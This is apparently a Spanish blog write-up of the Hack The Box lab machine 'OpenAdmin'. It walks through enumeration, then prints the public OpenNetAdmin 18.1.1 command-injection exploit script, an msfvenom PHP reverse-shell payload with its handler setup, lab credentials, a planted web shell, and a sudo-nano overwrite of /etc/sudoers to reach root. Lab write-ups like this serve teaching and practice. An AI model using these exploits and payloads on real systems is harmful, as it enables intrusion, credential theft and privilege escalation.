Publicaciones HTB-OPENADMIN
Post
Cancel

HTB-OPENADMIN

Decripción del entorno

Atacante

OSKali Linux
IP10.10.15.125

Maquina Objetivo

OSlinux
IP10.10.10.171
Dificultad4.4/10 / Easy
URLOpenAdmin

Enumeración

Se realiza la enumeración habitual para el reconocimiento e identificación de los puertos abiertos en el sistema:

1
$ nmap -sS -sV -sC -oA nmap_openadmin 10.10.10.171

Escaneo con Nmap Resultado escaneo con nmap

Enfocandonos en el peurto 80 e intentando descubrir directorios con la herramienta WFuzz, se obtienen los siguientes resultados:

1
$ wfuzz -w /usr/wordlist/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.10.171/FUZZ/
  • /music/
  • /artwork/
  • /ona/

Parece que cada directorio tiene una plantilla diferente: Directorios Directorios puerto 80

Sin embargo, en el directorio /ona/ se encuentra un panel de administración del servicio OpenNetAdmin en su versión 18.1.1, el cual es un administrador masivo de red que conecta y monitorea bases de datos, redes y subredes:

Panel Ona Panel administrativo OpenNetAdmin v18.1.1

Este parece ser el activo más importante, por lo cual se realiza una búsqueda e identificación de los exploit’s públicos que puedan afectarlo:

1
$ searchsploit OpenNetAdmin

Searchsploit Exploit’s publicos OpenNetAdmin

Se obtienen 3 resultados de diferentes exploit que se pueden utilizar para afectar la plataforma dado que coinciden con la versión 18.1.1 desplegada e identificada en el servidor victima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

El exploit es simple, aunque el panel administrativo automáticamente nos posibilita ciertas funciones como usuario invitado (guest) y requiere autenticación para el usuario administrativo, este software tiene una funcionalidad al estilo de Inyección de comandos, en el que realiza un ping recibiendo el comando como parámetro desde el cliente y lo ejecuta directamente, así que podemos aprovecharnos de esto y agremás más comandos utilizando ;. Recreamos el comportamiento y validamos de forma manual la vulnerabilidad:

Exploit Manual Recreando el exploit manualmente

Como resultado al comando whoami podemos ver en la respuesta:

Resultado Exploit Resultado del exploit-whoami

De esta manera se determina que tenemos un RCE con privilegios de usuario www-data, por lo que aprovecharemos algunas herramientas internas para subir o ejecutar una Shell más comoda con un meterpreter de metasploit:

1
$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.125 LPORT=4646 -f raw > d14.php

Msfvenom payload php Generando Payload con msfvenom en php

Dejamos a la escucha el multi handler de metasploit y recibimos la conexión:

1
2
3
4
5
$ msfconsole
> use multi/handler
> set payload php/meterpreter_reverse_tct
> set LHOST 10.10.15.125
> set LPORT 4646

La ejecución de esta Shell se hace de forma remota, debido a que el usuario www-data tiene acceso de escritura sobre el directorio principal /opt/ona/www el cual corresponde al directorio raíz del OpenNetAdmin, de esta forma activamos nuestra shell desde el browser:

  • http://openadmin.htb/ona/d14.php

Meterpreter Recibiendo el Meterpreter con Metasploit

Una vez tenemos acceso al servidor, se procede a realizar una enumeración y recolección de la información interna. Considerando que este acceso inicial NO nos permite la lectura de la flag user.txt, es necesrio escalar privilegios.

Elevación de Privilegios

Bajo el contexto de un sistema/aplicativo robusto para el manejo de redes y subredes, lo primero que intentamos identificar son las cadenas de conexión de todos los aplicativos inscritos en ona, con el objetivo de recolectar las contraseñas y poder vulnerar otros servicios.

Identificamos el archivo de configuración principal del software OpenNetAdmin:

1
$ cat /var/www/ona/local/config/database_settings.inc.php

Database Settings Configuración de conexión a base de datos

De este archivo recolectamos las credenciales de la base de datos:

  • ona_sys:n1nj4W4rri0R!

Sin embargo, nos percatamos que dicha contraseña funciona al conectarnos por SSH con el usuario Jimmy:

  • jimmy: n1nj4W4rri0R!

El usuario Jimmy no cuenta con los privilegios para poder capturar alguna de las flags, así que seguimos con la recopilación de información. Nos conectamos al Mysql con las credenciales y vemos si existen otros usuarios

DB Mysql Base de datos MySQL

Identificamos la tabla users y dumpeamos los registros referentes a contraseñas o hashes, pero no hubo información relevante.

Nota: Son validaciones que se deben considerar así no funcionen ;)

Seguimos recolectando información y descubrimos un directorio interesante:

  • /var/www/internal/

El cual tiene unos archivos PHP que, de accederlos de la forma correcta permiten la lectura del archivo id_rsa del usuario Joanna, no obstante, no encontramos dichos archivos de forma pública en el servidor para consumirlos por el browser, así que entramos a indagar sobre qué otros aplicativos internos están montados y en qué puertos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

Portal Interno Datos de despliegue del portal interno

De los archivos de configuración, vemos que el sitio internal aunque tiene asociado un subdominio, solo es accesible localmente en la siguiente ruta y puerto:

  • http://127.0.0.1:52846

Realizamos un Local Port Forwarding mediante SSH, por lo que creamos un tunel del puerto 52846 hacia nuestra maquina mediante SSH y así podemos accederlo:

Local Port Forwarding Local port forwarding mediante ssh, al puerto 52846

Al acceder a nuestro puerto 8080 localmente, estaremos realmente accediendo al puerto 52846 de la maquina víctima, de esta manera, interactuando con el aplicativo internal:

Portal Interno Acceso al portal interno mediante el tunel ssh

  • User: Jimmy
  • Password: Reveled

Una vez pasamos la restricción de login, obtenemos el certificado RSA del usuario Joanna, sin embargo este se encuentra cifrado por una contraseña, así que debemos descubrir o buscar otro método de impersonar el usuario:

Certificado RSA Certificado RSA del usuario Joanna

En este punto se intentan diferentes forma de ataque el certificado, pero nos enfocamos en que se tiene acceso de escritura a la ruta del aplicativo internal que esta configurado para tener los permisos del usuario Joanna, así que colocamos allí nuestra Shell php y la accedemos valiéndonos del Local Port Forwarding:

Meterpreter Joanna Recibimos una shell reversa al inyectarla directamente en uno de los archivos con perisos de joanna

Vemos que funciona, ya que el usuario Jimmy tiene permisos de escritura en /var/www/internal así que recibimos y capturamos la conexión pero ahora con los permisos del usuario Joanna, esto permite la captura de la flag user.txt.

Nota: El siguiente paso es escalar privilegios hasta root. Para poder tener una mejor interacción con la Shell lo optimo es usar SSH, así que agregamos nuestra llave pública a los authorized_keys del usuario Joanna.

Elevación de Privilegios

En este punto, es muy frecuente intentar ver todos los procesos y comandos que se están inyectando en tiempo real en la máquina, para así identificar Jobs o crontabs de usuarios más privilegiados. Para lograrlo, utilizamos la herramiente PSPY:

PSPY Uso de la herramienta PSPY

De los resultados se logra identificar el comando sudo /bin/nano /opt/priv el cual esta ejecutando el usuario root con UID=0:

Sudoers Resultado de los sudoers

No obstante, con el comando sudo -l podemos ver los sudoers establecidos en la maquina para el usuario Joanna, en este caso nos indica que podemos ejecutar el siguiente comando como root:

1
$ sudo -u root /bin/nano /opt/priv

Algo interesante de esto es el hecho de que existen varias formas de poder obtener una Shell ejecutando nano, pero hay algo aún más intuitivo que vamos a utilizar. En este caso, podemos abrir el archivo /opt/priv como root, pero al momento de realizar cambios CTRL + O la herramienta nano nos permite cambiar el nombre y la ruta al archivo, por tanto, al tener los privilegios de root significa que también podemos sobrescribir archivos importantes del sistema a nuestro beneficio:

  • /etc/sudoers

Sobreescritura Sudoers Sobreescribiendo los sudoers

1
2
3
4
root ALL=(ALL:ALL) ALL
%sudo ALL=(ALL:ALL) ALL

joanna ALL=(root) NOPASSWD: ALL

¿Qué sucedería si cambiamos el contenido del /etc/sudoers a esto? Efectivamente, al sobrescribirlo, le estamos indicando al sistema que el usuario Joanna podrá ejecutar cualquier programa como root sin necesidad de requerir PASSWORD, de esta manera elevamos privilegios.

Acceso como Root Acceso como root

Bytez ;)

Referencias

  1. Monitor de procesos en Linux
  2. Lista de binarios UNIX que se pueden aprovechar para elevar privilegios por mala configuración.
This post is licensed under CC BY 4.0 by the author.
Tabla de Contenido